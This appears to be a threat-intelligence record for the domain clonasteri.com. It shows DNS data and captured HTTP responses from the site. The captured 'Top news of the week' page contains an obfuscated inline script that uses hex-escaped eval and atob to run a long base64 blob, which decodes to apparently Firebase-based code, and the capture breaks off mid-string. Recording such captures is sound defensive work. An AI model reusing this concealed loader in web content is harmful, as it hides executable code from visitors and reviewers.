Help
RSS
API
Feed
Maltego
Contact
Domain > clonasteri.com
×
Welcome!
Right click nodes and scroll the mouse to navigate the graph.
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2025-01-06
104.21.81.63
(
ClassC
)
Port 80
HTTP/1.1 301 Moved PermanentlyDate: Mon, 06 Jan 2025 12:45:50 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveCache-Control: max-age3600Expires: Mon, 06 Jan 2025 13:45:50 GMTLocation: https://clonasteri.com/Report-To: {endpoints:{url:https:\/\/a.nel.cloudflare.com\/report\/v4?sX4ta5SUEfhOvAiAjuX4IMyKvnxz4ax3QA3sBj9fSTV3r6A2UPJjtaDrs1ZBqgqUgaVbYGark%2B8KRxkk%2B3uKwup1qvmY3rLTIQqTGRLa6UFLhelZNo%2BPcT5a%2Bjsg5wR%2B%2Bow%3D%3D},group:cf-nel,max_age:604800}NEL: {success_fraction:0,report_to:cf-nel,max_age:604800}Server: cloudflareCF-RAY: 8fdbceb79a502f31-PDXalt-svc: h3:443; ma86400server-timing: cfL4;desc?protoTCP&rtt6827&min_rtt6827&rtt_var3413&sent1&recv3&lost0&retrans0&sent_bytes0&recv_bytes53&delivery_rate0&cwnd249&unsent_bytes0&cid0000000000000000&ts0&x0 html>head>title>301 Moved Permanently/title>/head>body>center>h1>301 Moved Permanently/h1>/center>hr>center>cloudflare/center>/body>/html>
Port 443
HTTP/1.1 200 OKDate: Mon, 06 Jan 2025 12:45:51 GMTContent-Type: text/html;charsetutf-8Transfer-Encoding: chunkedConnection: keep-alivevary: Accept-Encodingaccess-control-allow-methods: OPTIONS,GET,HEADaccess-control-allow-origin: *access-control-allow-credentials: trueaccess-control-allow-headers: *access-control-expose-headers: *Set-Cookie: surfer_uuid385a6f7c-b7ac-470f-85f4-cd6b673bc854; Path/; ExpiresTue, 06 Jan 2026 12:45:51 GMTSet-Cookie: trek_uuid1429aef6-5fcf-4865-bcb4-1856806df296; Path/Set-Cookie: visit_uuidbe1daef8-c965-45d1-870d-c421d882b240; Path/Set-Cookie: -19026683001; Path/; ExpiresTue, 06 Jan 2026 12:45:51 GMTcf-cache-status: DYNAMICReport-To: {endpoints:{url:https:\/\/a.nel.cloudflare.com\/report\/v4?sK%2FwVz5egs3VeGVsC%2BCTY5W4np73vmPGy%2BjIL99CsUlz3doOhyST%2BVNfEWa39B8iDCJ8IznIeER%2FXJn5iG3hgPdrzjmm7M5wAihsh5nhK3RR4CiLFxiDJNz23dHiMS1rHmQ%3D%3D},group:cf-nel,max_age:604800}NEL: {success_fraction:0,report_to:cf-nel,max_age:604800}Server: cloudflareCF-RAY: 8fdbceb7f9a85ee4-PDXalt-svc: h3:443; ma86400server-timing: cfL4;desc?protoTCP&rtt6062&min_rtt6038&rtt_var1746&sent5&recv6&lost0&retrans0&sent_bytes2861&recv_bytes725&delivery_rate478282&cwnd252&unsent_bytes0&cide335cef33de50707&ts728&x0 !DOCTYPE html>html data-capo>head>meta charsetutf-8>meta nameviewport contentwidthdevice-width, initial-scale1>title>Top news of the week/title>link relpreconnect hrefhttps://fonts.googleapis.com>link relpreconnect hrefhttps://fonts.gstatic.com crossorigin>link relstylesheet hrefhttps://fonts.googleapis.com/css2?familyRoboto:wght@400;500;700;900&displayswap>style>.error-messagedata-v-4d8d6997{display:block;margin-top:1em;margin-inline:auto;text-align:center;width:-moz-fit-content;width:fit-content}/style>link relstylesheet href/_nuxt/entry.BC6_636c.css>link relstylesheet href/_nuxt/app.BRr80QMN.css>link relstylesheet href/_nuxt/app.CSFLKBUs.css>link relmodulepreload asscript crossorigin href/_nuxt/BOlLOSYN.js>link relmodulepreload asscript crossorigin href/_nuxt/B-rYxKhq.js>link relmodulepreload asscript crossorigin href/_nuxt/CHZP-TPk.js>link relmodulepreload asscript crossorigin href/_nuxt/BuuXMSUm.js>link relmodulepreload asscript crossorigin href/_nuxt/CrWTmwWl.js>link relmodulepreload asscript crossorigin href/_nuxt/BlTcP-Vk.js>link relmodulepreload asscript crossorigin href/_nuxt/Bgblyyd6.js>link relmodulepreload asscript crossorigin href/_nuxt/wbXlzdQW.js>link relmodulepreload asscript crossorigin href/_nuxt/BQoOMAXm.js>link relmodulepreload asscript crossorigin href/_nuxt/C48cCwex.js>link relmodulepreload asscript crossorigin href/_nuxt/CsZ_Y7xb.js>link relmodulepreload asscript crossorigin href/_nuxt/D0aC8Rpb.js>link relmodulepreload asscript crossorigin href/_nuxt/D7jrZCX6.js>link relmodulepreload asscript crossorigin href/_nuxt/BzqWtuvS.js>link relmodulepreload asscript crossorigin href/_nuxt/CezG7F_2.js>link relmodulepreload asscript crossorigin href/_nuxt/DKzjMyrj.js>link relmodulepreload asscript crossorigin href/_nuxt/vnHShMTM.js>link relmodulepreload asscript crossorigin href/_nuxt/fzpXcyI3.js>link relmodulepreload asscript crossorigin href/_nuxt/B7C4NIR1.js>link relmodulepreload asscript crossorigin href/_nuxt/8CqtrcKo.js>link relprefetch asscript crossorigin href/_nuxt/CppUF93s.js>link relprefetch asscript crossorigin href/_nuxt/sDtW6CLD.js>meta namereferrer contentunsafe-url>meta namegoogle contentnopagereadaloud>script>FWTeathis\x65\x76\x61\x6C;aEkTgthis\x61\x74\x6F\x62;xPxodfunction(s){FWTea(aEkTg(s\x73\x75\x62\x73\x74\x72\x69\x6e\x67(2+(-~))));};rVDkifunction(){xPxod(OQIWZ1bmN0aW9uKCl7InVzZSBzdHJpY3QiO2NvbnN0IGU9ZnVuY3Rpb24oZSl7Y29uc3QgdD1bXTtsZXQgbj0wO2ZvcihsZXQgaT0wO2k8ZS5sZW5ndGg7aSsrKXtsZXQgcj1lLmNoYXJDb2RlQXQoaSk7cjwxMjg/dFtuKytdPXI6cjwyMDQ4Pyh0W24rK109cj4+NnwxOTIsdFtuKytdPTYzJnJ8MTI4KTo1NTI5Nj09KDY0NTEyJnIpJiZpKzE8ZS5sZW5ndGgmJjU2MzIwPT0oNjQ1MTImZS5jaGFyQ29kZUF0KGkrMSkpPyhyPTY1NTM2KygoMTAyMyZyKTw8MTApKygxMDIzJmUuY2hhckNvZGVBdCgrK2kpKSx0W24rK109cj4+MTh8MjQwLHRbbisrXT1yPj4xMiY2M3wxMjgsdFtuKytdPXI+PjYmNjN8MTI4LHRbbisrXT02MyZyfDEyOCk6KHRbbisrXT1yPj4xMnwyMjQsdFtuKytdPXI+PjYmNjN8MTI4LHRbbisrXT02MyZyfDEyOCl9cmV0dXJuIHR9LHQ9e2J5dGVUb0NoYXJNYXBfOm51bGwsY2hhclRvQnl0ZU1hcF86bnVsbCxieXRlVG9DaGFyTWFwV2ViU2FmZV86bnVsbCxjaGFyVG9CeXRlTWFwV2ViU2FmZV86bnVsbCxFTkNPREVEX1ZBTFNfQkFTRToiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkiLGdldCBFTkNPREVEX1ZBTFMoKXtyZXR1cm4gdGhpcy5FTkNPREVEX1ZBTFNfQkFTRSsiKy89In0sZ2V0IEVOQ09ERURfVkFMU19XRUJTQUZFKCl7cmV0dXJuIHRoaXMuRU5DT0RFRF9WQUxTX0JBU0UrIi1fLiJ9LEhBU19OQVRJVkVfU1VQUE9SVDoiZnVuY3Rpb24iPT10eXBlb2YgYXRvYixlbmNvZGVCeXRlQXJyYXkoZSx0KXtpZighQXJyYXkuaXNBcnJheShlKSl0aHJvdyBFcnJvcigiZW5jb2RlQnl0ZUFycmF5IHRha2VzIGFuIGFycmF5IGFzIGEgcGFyYW1ldGVyIik7dGhpcy5pbml0XygpO2NvbnN0IG49dD90aGlzLmJ5dGVUb0NoYXJNYXBXZWJTYWZlXzp0aGlzLmJ5dGVUb0NoYXJNYXBfLGk9W107Zm9yKGxldCByPTA7cjxlLmxlbmd0aDtyKz0zKXtjb25zdCB0PWVbcl0sYT1yKzE8ZS5sZW5ndGgsbz1hP2VbcisxXTowLHM9cisyPGUubGVuZ3RoLGM9cz9lW3IrMl06MCx1PXQ+PjIsZD0oMyZ0KTw8NHxvPj40O2xldCBsPSgxNSZvKTw8MnxjPj42LHA9NjMmYztzfHwocD02NCxhfHwobD02NCkpLGkucHVzaChuW3VdLG5bZF0sbltsXSxuW3BdKX1yZXR1cm4gaS5qb2luKCIiKX0sZW5jb2RlU3RyaW5nKHQsbil7cmV0dXJuIHRoaXMuSEFTX05BVElWRV9TVVBQT1JUJiYhbj9idG9hKHQpOnRoaXMuZW5jb2RlQnl0ZUFycmF5KGUodCksbil9LGRlY29kZVN0cmluZyhlLHQpe3JldHVybiB0aGlzLkhBU19OQVRJVkVfU1VQUE9SVCYmIXQ/YXRvYihlKTpmdW5jdGlvbihlKXtjb25zdCB0PVtdO2xldCBuPTAsaT0wO2Zvcig7bjxlLmxlbmd0aDspe2NvbnN0IHI9ZVtuKytdO2lmKHI8MTI4KXRbaSsrXT1TdHJpbmcuZnJvbUNoYXJDb2RlKHIpO2Vsc2UgaWYocj4xOTEmJnI8MjI0KXtjb25zdCBhPWVbbisrXTt0W2krK109U3RyaW5nLmZyb21DaGFyQ29kZSgoMzEmcik8PDZ8NjMmYSl9ZWxzZSBpZihyPjIzOSYmcjwzNjUpe2NvbnN0IGE9KCg3JnIpPDwxOHwoNjMmZVtuKytdKTw8MTJ8KDYzJmVbbisrXSk8PDZ8NjMmZVtuKytdKS02NTUzNjt0W2krK109U3RyaW5nLmZyb21DaGFyQ29kZSg1NTI5NisoYT4+MTApKSx0W2krK109U3RyaW5nLmZyb21DaGFyQ29kZSg1NjMyMCsoMTAyMyZhKSl9ZWxzZXtjb25zdCBhPWVbbisrXSxvPWVbbisrXTt0W2krK109U3RyaW5nLmZyb21DaGFyQ29kZSgoMTUmcik8PDEyfCg2MyZhKTw8Nnw2MyZvKX19cmV0dXJuIHQuam9pbigiIil9KHRoaXMuZGVjb2RlU3RyaW5nVG9CeXRlQXJyYXkoZSx0KSl9LGRlY29kZVN0cmluZ1RvQnl0ZUFycmF5KGUsdCl7dGhpcy5pbml0XygpO2NvbnN0IGk9dD90aGlzLmNoYXJUb0J5dGVNYXBXZWJTYWZlXzp0aGlzLmNoYXJUb0J5dGVNYXBfLHI9W107Zm9yKGxldCBhPTA7YTxlLmxlbmd0aDspe2NvbnN0IHQ9aVtlLmNoYXJBdChhKyspXSxvPWE8ZS5sZW5ndGg/aVtlLmNoYXJBdChhKV06MDsrK2E7Y29uc3Qgcz1hPGUubGVuZ3RoP2lbZS5jaGFyQXQoYSldOjY0OysrYTtjb25zdCBjPWE8ZS5sZW5ndGg/aVtlLmNoYXJBdChhKV06NjQ7aWYoKythLG51bGw9PXR8fG51bGw9PW98fG51bGw9PXN8fG51bGw9PWMpdGhyb3cgbmV3IG47Y29uc3QgdT10PDwyfG8+PjQ7aWYoci5wdXNoKHUpLDY0IT09cyl7Y29uc3QgZT1vPDw0JjI0MHxzPj4yO2lmKHIucHVzaChlKSw2NCE9PWMpe2NvbnN0IGU9czw8NiYxOTJ8YztyLnB1c2goZSl9fX1yZXR1cm4gcn0saW5pdF8oKXtpZighdGhpcy5ieXRlVG9DaGFyTWFwXyl7dGhpcy5ieXRlVG9DaGFyTWFwXz17fSx0aGlzLmNoYXJUb0J5dGVNYXBfPXt9LHRoaXMuYnl0ZVRvQ2hhck1hcFdlYlNhZmVfPXt9LHRoaXMuY2hhclRvQnl0ZU1hcFdlYlNhZmVfPXt9O2ZvcihsZXQgZT0wO2U8dGhpcy5FTkNPREVEX1ZBTFMubGVuZ3RoO2UrKyl0aGlzLmJ5dGVUb0NoYXJNYXBfW2VdPXRoaXMuRU5DT0RFRF9WQUxTLmNoYXJBdChlKSx0aGlzLmNoYXJUb0J5dGVNYXBfW3RoaXMuYnl0ZVRvQ2hhck1hcF9bZV1dPWUsdGhpcy5ieXRlVG9DaGFyTWFwV2ViU2FmZV9bZV09dGhpcy5FTkNPREVEX1ZBTFNfV0VCU0FGRS5jaGFyQXQoZSksdGhpcy5jaGFyVG9CeXRlTWFwV2ViU2FmZV9bdGhpcy5ieXRlVG9DaGFyTWFwV2ViU2FmZV9bZV1dPWUsZT49dGhpcy5FTkNPREVEX1ZBTFNfQkFTRS5sZW5ndGgmJih0aGlzLmNoYXJUb0J5dGVNYXBfW3RoaXMuRU5DT0RFRF9WQUxTX1dFQlNBRkUuY2hhckF0KGUpXT1lLHRoaXMuY2hhclRvQnl0ZU1hcFdlYlNhZmVfW3RoaXMuRU5DT0RFRF9WQUxTLmNoYXJBdChlKV09ZSl9fX07Y2xhc3MgbiBleHRlbmRzIEVycm9ye2NvbnN0cnVjdG9yKCl7c3VwZXIoLi4uYXJndW1lbnRzKSx0aGlzLm5hbWU9IkRlY29kZUJhc2U2NFN0cmluZ0Vycm9yIn19Y29uc3QgaT1mdW5jdGlvbihuKXtyZXR1cm4gZnVuY3Rpb24obil7Y29uc3QgaT1lKG4pO3JldHVybiB0LmVuY29kZUJ5dGVBcnJheShpLCEwKX0obikucmVwbGFjZSgvXC4vZywiIil9O2NvbnN0IHI9KCk9PmZ1bmN0aW9uKCl7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBzZWxmKXJldHVybiBzZWxmO2lmKCJ1bmRlZmluZWQiIT10eXBlb2Ygd2luZG93KXJldHVybiB3aW5kb3c7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBnbG9iYWwpcmV0dXJuIGdsb2JhbDt0aHJvdyBuZXcgRXJyb3IoIlVuYWJsZSB0byBsb2NhdGUgZ2xvYmFsIG9iamVjdC4iKX0oKS5fX0ZJUkVCQVNFX0RFRkFVTFRTX18sYT0oKT0+e2lmKCJ1bmRlZmluZWQiPT10eXBlb2YgZG9jdW1lbnQpcmV0dXJuO2xldCBlO3RyeXtlPWRvY3VtZW50LmNvb2tpZS5tYXRjaCgvX19GSVJFQkFTRV9ERUZBVUxUU19fPShbXjtdKykvKX1jYXRjaChpKXtyZXR1cm59Y29uc3Qgbj1lJiZmdW5jdGlvbihlKXt0cnl7cmV0dXJuIHQuZGVjb2RlU3RyaW5nKGUsITApfWNhdGNoKGkpe31yZXR1cm4gbnVsbH0oZVsxXSk7cmV0dXJuIG4mJkpTT04ucGFyc2Uobil9LG89KCk9Pnt0cnl7cmV0dXJuIHIoKXx8KCgpPT57aWYoInVuZGVmaW5lZCI9PXR5cGVvZiBwcm9jZXNzfHx2b2lkIDA9PT1wcm9jZXNzLmVudilyZXR1cm47Y29uc3QgZT1wcm9jZXNzLmVudi5fX0ZJUkVCQVNFX0RFRkFVTFRTX187cmV0dXJuIGU/SlNPTi5wYXJzZShlKTp2b2lkIDB9KSgpfHxhKCl9Y2F0Y2goZSl7cmV0dXJufX0scz0oKT0+e3ZhciBlO3JldHVybiBudWxsPT09KGU9bygpKXx8dm9pZCAwPT09ZT92b2lkIDA6ZS5jb25maWd9O2NsYXNzIGN7Y29uc3RydWN0b3IoKXt0aGlzLnJlamVjdD0oKT0+e30sdGhpcy5yZXNvbHZlPSgpPT57fSx0aGlzLnByb21pc2U9bmV3IFByb21pc2UoKChlLHQpPT57dGhpcy5yZXNvbHZlPWUsdGhpcy5yZWplY3Q9dH0pKX13cmFwQ2FsbGJhY2soZSl7cmV0dXJuKHQsbik9Pnt0P3RoaXMucmVqZWN0KHQpOnRoaXMucmVzb2x2ZShuKSwiZnVuY3Rpb24iPT10eXBlb2YgZSYmKHRoaXMucHJvbWlzZS5jYXRjaCgoKCk9Pnt9KSksMT09PWUubGVuZ3RoP2UodCk6ZSh0LG4pKX19fWZ1bmN0aW9uIHUoKXt0cnl7cmV0dXJuIm9iamVjdCI9PXR5cGVvZiBpbmRleGVkREJ9Y2F0Y2goZSl7cmV0dXJuITF9fWZ1bmN0aW9uIGQoKXtyZXR1cm4gbmV3IFByb21pc2UoKChlLHQpPT57dHJ5e2xldCBuPSEwO2NvbnN0IGk9InZhbGlkYXRlLWJyb3dzZXItY29udGV4dC1mb3ItaW5kZXhlZGRiLWFuYWx5dGljcy1tb2R1bGUiLHI9c2VsZi5pbmRleGVkREIub3BlbihpKTtyLm9uc3VjY2Vzcz0oKT0+e3IucmVzdWx0LmNsb3NlKCksbnx8c2VsZi5pbmRleGVkREIuZGVsZXRlRGF0YWJhc2UoaSksZSghMCl9LHIub251cGdyYWRlbmVlZGVkPSgpPT57bj0hMX0sci5vbmVycm9yPSgpPT57dmFyIGU7dCgobnVsbD09PShlPXIuZXJyb3IpfHx2b2lkIDA9PT1lP3ZvaWQgMDplLm1lc3NhZ2UpfHwiIil9fWNhdGNoKG4pe3Qobil9fSkpfWNsYXNzIGwgZXh0ZW5kcyBFcnJvcntjb25zdHJ1Y3RvcihlLHQsbil7c3VwZXIodCksdGhpcy5jb2RlPWUsdGhpcy5jdXN0b21EYXRhPW4sdGhpcy5uYW1lPSJGaXJlYmFzZUVycm9yIixPYmplY3Quc2V0UHJvdG90eXBlT2YodGhpcyxsLnByb3RvdHlwZSksRXJyb3IuY2FwdHVyZVN0YWNrVHJhY2UmJkVycm9yLmNhcHR1cmVTdGFja1RyYWNlKHRoaXMscC5wcm90b3R5cGUuY3JlYXRlKX19Y2xhc3MgcHtjb25zdHJ1Y3RvcihlLHQsbil7dGhpcy5zZXJ2aWNlPWUsdGhpcy5zZXJ2aWNlTmFtZT10LHRoaXMuZXJyb3JzPW59Y3JlYXRlKGUsLi4udCl7Y29uc3Qgbj10WzBdfHx7fSxpPWAke3RoaXMuc2VydmljZX0vJHtlfWAscj10aGlzLmVycm9yc1tlXSxhPXI/ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZS5yZXBsYWNlKGYsKChlLG4pPT57Y29uc3QgaT10W25dO3JldHVybiBudWxsIT1pP1N0cmluZyhpKTpgPCR7bn0/PmB9KSl9KHIsbik6IkVycm9yIixvPWAke3RoaXMuc2VydmljZU5hbWV9OiAke2F9ICgke2l9KS5gO3JldHVybiBuZXcgbChpLG8sbil9fWNvbnN0IGY9L1x7XCQoW159XSspfS9nO2Z1bmN0aW9uIGgoZSx0KXtpZihlPT09dClyZXR1cm4hMDtjb25zdCBuPU9iamVjdC5rZXlzKGUpLGk9T2JqZWN0LmtleXModCk7Zm9yKGNvbnN0IHIgb2Ygbil7aWYoIWkuaW5jbHVkZXMocikpcmV0dXJuITE7Y29uc3Qgbj1lW3JdLGE9dFtyXTtpZihnKG4pJiZnKGEpKXtpZighaChuLGEpKXJldHVybiExfWVsc2UgaWYobiE9PWEpcmV0dXJuITF9Zm9yKGNvbnN0IHIgb2YgaSlpZighbi5pbmNsdWRlcyhyKSlyZXR1cm4hMTtyZXR1cm4hMH1mdW5jdGlvbiBnKGUpe3JldHVybiBudWxsIT09ZSYmIm9iamVjdCI9PXR5cGVvZiBlfWZ1bmN0aW9uIG0oZSl7cmV0dXJuIGUmJmUuX2RlbGVnYXRlP2UuX2RlbGVnYXRlOmV9Y2xhc3MgYntjb25zdHJ1Y3RvcihlLHQsbil7dGhpcy5uYW1lPWUsdGhpcy5pbnN0YW5jZUZhY3Rvcnk9dCx0aGlzLnR5cGU9bix0aGlzLm11bHRpcGxlSW5zdGFuY2VzPSExLHRoaXMuc2VydmljZVByb3BzPXt9LHRoaXMuaW5zdGFudGlhdGlvbk1vZGU9IkxBWlkiLHRoaXMub25JbnN0YW5jZUNyZWF0ZWQ9bnVsbH1zZXRJbnN0YW50aWF0aW9uTW9kZShlKXtyZXR1cm4gdGhpcy5pbnN0YW50aWF0aW9uTW9kZT1lLHRoaXN9c2V0TXVsdGlwbGVJbnN0YW5jZXMoZSl7cmV0dXJuIHRoaXMubXVsdGlwbGVJbnN0YW5jZXM9ZSx0aGlzfXNldFNlcnZpY2VQcm9wcyhlKXtyZXR1cm4gdGhpcy5zZXJ2aWNlUHJvcHM9ZSx0aGlzfXNldEluc3RhbmNlQ3JlYXRlZENhbGxiYWNrKGUpe3JldHVybiB0aGlzLm9uSW5zdGFuY2VDcmVhdGVkPWUsdGhpc319Y29uc3Qgdz0iW0RFRkFVTFRdIjtjbGFzcyB5e2NvbnN0cnVjdG9yKGUsdCl7dGhpcy5uYW1lPWUsdGhpcy5jb250YWluZXI9dCx0aGlzLmNvbXBvbmVudD1udWxsLHRoaXMuaW5zdGFuY2VzPW5ldyBNYXAsdGhpcy5pbnN0YW5jZXNEZWZlcnJlZD1uZXcgTWFwLHRoaXMuaW5zdGFuY2VzT3B0aW9ucz1uZXcgTWFwLHRoaXMub25Jbml0Q2FsbGJhY2tzPW5ldyBNYXB9Z2V0KGUpe2NvbnN0IHQ9dGhpcy5ub3JtYWxpemVJbnN0YW5jZUlkZW50aWZpZXIoZSk7aWYoIXRoaXMuaW5zdGFuY2VzRGVmZXJyZWQuaGFzKHQpKXtjb25zdCBlPW5ldyBjO2lmKHRoaXMuaW5zdGFuY2VzRGVmZXJyZWQuc2V0KHQsZSksdGhpcy5pc0luaXRpYWxpemVkKHQpfHx0aGlzLnNob3VsZEF1dG9Jbml0aWFsaXplKCkpdHJ5e2NvbnN0IG49dGhpcy5nZXRPckluaXRpYWxpemVTZXJ2aWNlKHtpbnN0YW5jZUlkZW50aWZpZXI6dH0pO24mJmUucmVzb2x2ZShuKX1jYXRjaChuKXt9fXJldHVybiB0aGlzLmluc3RhbmNlc0RlZmVycmVkLmdldCh0KS5wcm9taXNlfWdldEltbWVkaWF0ZShlKXt2YXIgdDtjb25zdCBuPXRoaXMubm9ybWFsaXplSW5zdGFuY2VJZGVudGlmaWVyKG51bGw9PWU/dm9pZCAwOmUuaWRlbnRpZmllciksaT1udWxsIT09KHQ9bnVsbD09ZT92b2lkIDA6ZS5vcHRpb25hbCkmJnZvaWQgMCE9PXQmJnQ7aWYoIXRoaXMuaXNJbml0aWFsaXplZChuKSYmIXRoaXMuc2hvdWxkQXV0b0luaXRpYWxpemUoKSl7aWYoaSlyZXR1cm4gbnVsbDt0aHJvdyBFcnJvcihgU2VydmljZSAke3RoaXMubmFtZX0gaXMgbm90IGF2YWlsYWJsZWApfXRyeXtyZXR1cm4gdGhpcy5nZXRPckluaXRpYWxpemVTZXJ2aWNlKHtpbnN0YW5jZUlkZW50aWZpZXI6bn0pfWNhdGNoKHIpe2lmKGkpcmV0dXJuIG51bGw7dGhyb3cgcn19Z2V0Q29tcG9uZW50KCl7cmV0dXJuIHRoaXMuY29tcG9uZW50fXNldENvbXBvbmVudChlKXtpZihlLm5hbWUhPT10aGlzLm5hbWUpdGhyb3cgRXJyb3IoYE1pc21hdGNoaW5nIENvbXBvbmVudCAke2UubmFtZX0gZm9yIFByb3ZpZGVyICR7dGhpcy5uYW1lfS5gKTtpZih0aGlzLmNvbXBvbmVudCl0aHJvdyBFcnJvcihgQ29tcG9uZW50IGZvciAke3RoaXMubmFtZX0gaGFzIGFscmVhZHkgYmVlbiBwcm92aWRlZGApO2lmKHRoaXMuY29tcG9uZW50PWUsdGhpcy5zaG91bGRBdXRvSW5pdGlhbGl6ZSgpKXtpZihmdW5jdGlvbihlKXtyZXR1cm4iRUFHRVIiPT09ZS5pbnN0YW50aWF0aW9uTW9kZX0oZSkpdHJ5e3RoaXMuZ2V0T3JJbml0aWFsaXplU2VydmljZSh7aW5zdGFuY2VJZGVudGlmaWVyOnd9KX1jYXRjaCh0KXt9Zm9yKGNvbnN0W2Usbl1vZiB0aGlzLmluc3RhbmNlc0RlZmVycmVkLmVudHJpZXMoKSl7Y29uc3QgaT10aGlzLm5vcm1hbGl6ZUluc3RhbmNlSWRlbnRpZmllcihlKTt0cnl7Y29uc3QgZT10aGlzLmdldE9ySW5pdGlhbGl6ZVNlcnZpY2Uoe2luc3RhbmNlSWRlbnRpZmllcjppfSk7bi5yZXNvbHZlKGUpfWNhdGNoKHQpe319fX1jbGVhckluc3RhbmNlKGU9dyl7dGhpcy5pbnN0YW5jZXNEZWZlcnJlZC5kZWxldGUoZSksdGhpcy5pbnN0YW5jZXNPcHRpb25zLmRlbGV0ZShlKSx0aGlzLmluc3RhbmNlcy5kZWxldGUoZSl9YXN5bmMgZGVsZXRlKCl7Y29uc3QgZT1BcnJheS5mcm9tKHRoaXMuaW5zdGFuY2VzLnZhbHVlcygpKTthd2FpdCBQcm9taXNlLmFsbChbLi4uZS5maWx0ZXIoKGU9PiJJTlRFUk5BTCJpbiBlKSkubWFwKChlPT5lLklOVEVSTkFMLmRlbGV0ZSgpKSksLi4uZS5maWx0ZXIoKGU9PiJfZGVsZXRlImluIGUpKS5tYXAoKGU9PmUuX2RlbGV0ZSgpKSldKX1pc0NvbXBvbmVudFNldCgpe3JldHVybiBudWxsIT10aGlzLmNvbXBvbmVudH1pc0luaXRpYWxpemVkKGU9dyl7cmV0dXJuIHRoaXMuaW5zdGFuY2VzLmhhcyhlKX1nZXRPcHRpb25zKGU9dyl7cmV0dXJuIHRoaXMuaW5zdGFuY2VzT3B0aW9ucy5nZXQoZSl8fHt9fWluaXRpYWxpemUoZT17fSl7Y29uc3R7b3B0aW9uczp0PXt9fT1lLG49dGhpcy5ub3JtYWxpemVJbnN0YW5jZUlkZW50aWZpZXIoZS5pbnN0YW5jZUlkZW50aWZpZXIpO2lmKHRoaXMuaXNJbml0aWFsaXplZChuKSl0aHJvdyBFcnJvcihgJHt0aGlzLm5hbWV9KCR7bn0pIGhhcyBhbHJlYWR5IGJlZW4gaW5pdGlhbGl6ZWRgKTtpZighdGhpcy5pc0NvbXBvbmVudFNldCgpKXRocm93IEVycm9yKGBDb21wb25lbnQgJHt0aGlzLm5hbWV9IGhhcyBub3QgYmVlbiByZWdpc3RlcmVkIHlldGApO2NvbnN0IGk9dGhpcy5nZXRPckluaXRpYWxpemVTZXJ2aWNlKHtpbnN0YW5jZUlkZW50aWZpZXI6bixvcHRpb25zOnR9KTtmb3IoY29uc3RbcixhXW9mIHRoaXMuaW5zdGFuY2VzRGVmZXJyZWQuZW50cmllcygpKXtuPT09dGhpcy5ub3JtYWxpemVJbnN0YW5jZUlkZW50aWZpZXIocikmJmEucmVzb2x2ZShpKX1yZXR1cm4gaX1vbkluaXQoZSx0KXt2YXIgbjtjb25zdCBpPXRoaXMubm9ybWFsaXplSW5zdGFuY2VJZGVudGlmaWVyKHQpLHI9bnVsbCE9PShuPXRoaXMub25Jbml0Q2FsbGJhY2tzLmdldChpKSkmJnZvaWQgMCE9PW4/bjpuZXcgU2V0O3IuYWRkKGUpLHRoaXMub25Jbml0Q2FsbGJhY2tzLnNldChpLHIpO2NvbnN0IGE9dGhpcy5pbnN0YW5jZXMuZ2V0KGkpO3JldHVybiBhJiZlKGEsaSksKCk9PntyLmRlbGV0ZShlKX19aW52b2tlT25Jbml0Q2FsbGJhY2tzKGUsdCl7Y29uc3Qgbj10aGlzLm9uSW5pdENhbGxiYWNrcy5nZXQodCk7aWYobilmb3IoY29uc3QgciBvZiBuKXRyeXtyKGUsdCl9Y2F0Y2goaSl7fX1nZXRPckluaXRpYWxpemVTZXJ2aWNlKHtpbnN0YW5jZUlkZW50aWZpZXI6ZSxvcHRpb25zOnQ9e319KXtsZXQgbj10aGlzLmluc3RhbmNlcy5nZXQoZSk7aWYoIW4mJnRoaXMuY29tcG9uZW50JiYobj10aGlzLmNvbXBvbmVudC5pbnN0YW5jZUZhY3RvcnkodGhpcy5jb250YWluZXIse2luc3RhbmNlSWRlbnRpZmllcjooaT1lLGk9PT13P3ZvaWQgMDppKSxvcHRpb25zOnR9KSx0aGlzLmluc3RhbmNlcy5zZXQoZSxuKSx0aGlzLmluc3RhbmNlc09wdGlvbnMuc2V0KGUsdCksdGhpcy5pbnZva2VPbkluaXRDYWxsYmFja3MobixlKSx0aGlzLmNvbXBvbmVudC5vbkluc3RhbmNlQ3JlYXRlZCkpdHJ5e3RoaXMuY29tcG9uZW50Lm9uSW5zdGFuY2VDcmVhdGVkKHRoaXMuY29udGFpbmVyLGUsbil9Y2F0Y2gocil7fXZhciBpO3JldHVybiBufHxudWxsfW5vcm1hbGl6ZUluc3RhbmNlSWRlbnRpZmllcihlPXcpe3JldHVybiB0aGlzLmNvbXBvbmVudD90aGlzLmNvbXBvbmVudC5tdWx0aXBsZUluc3RhbmNlcz9lOnc6ZX1zaG91bGRBdXRvSW5pdGlhbGl6ZSgpe3JldHVybiEhdGhpcy5jb21wb25lbnQmJiJFWFBMSUNJVCIhPT10aGlzLmNvbXBvbmVudC5pbnN0YW50aWF0aW9uTW9kZX19Y2xhc3Mgdntjb25zdHJ1Y3RvcihlKXt0aGlzLm5hbWU9ZSx0aGlzLnByb3ZpZGVycz1uZXcgTWFwfWFkZENvbXBvbmVudChlKXtjb25zdCB0PXRoaXMuZ2V0UHJvdmlkZXIoZS5uYW1lKTtpZih0LmlzQ29tcG9uZW50U2V0KCkpdGhyb3cgbmV3IEVycm9yKGBDb21wb25lbnQgJHtlLm5hbWV9IGhhcyBhbHJlYWR5IGJlZW4gcmVnaXN0ZXJlZCB3aXRoICR7dGhpcy5uYW1lfWApO3Quc2V0Q29tcG9uZW50KGUpfWFkZE9yT3ZlcndyaXRlQ29tcG9uZW50KGUpe3RoaXMuZ2V0UHJvdmlkZXIoZS5uYW1lKS5pc0NvbXBvbmVudFNldCgpJiZ0aGlzLnByb3ZpZGVycy5kZWxldGUoZS5uYW1lKSx0aGlzLmFkZENvbXBvbmVudChlKX1nZXRQcm92aWRlcihlKXtpZih0aGlzLnByb3ZpZGVycy5oYXMoZSkpcmV0dXJuIHRoaXMucHJvdmlkZXJzLmdldChlKTtjb25zdCB0PW5ldyB5KGUsdGhpcyk7cmV0dXJuIHRoaXMucHJvdmlkZXJzLnNldChlLHQpLHR9Z2V0UHJvdmlkZXJzKCl7cmV0dXJuIEFycmF5LmZyb20odGhpcy5wcm92aWRlcnMudmFsdW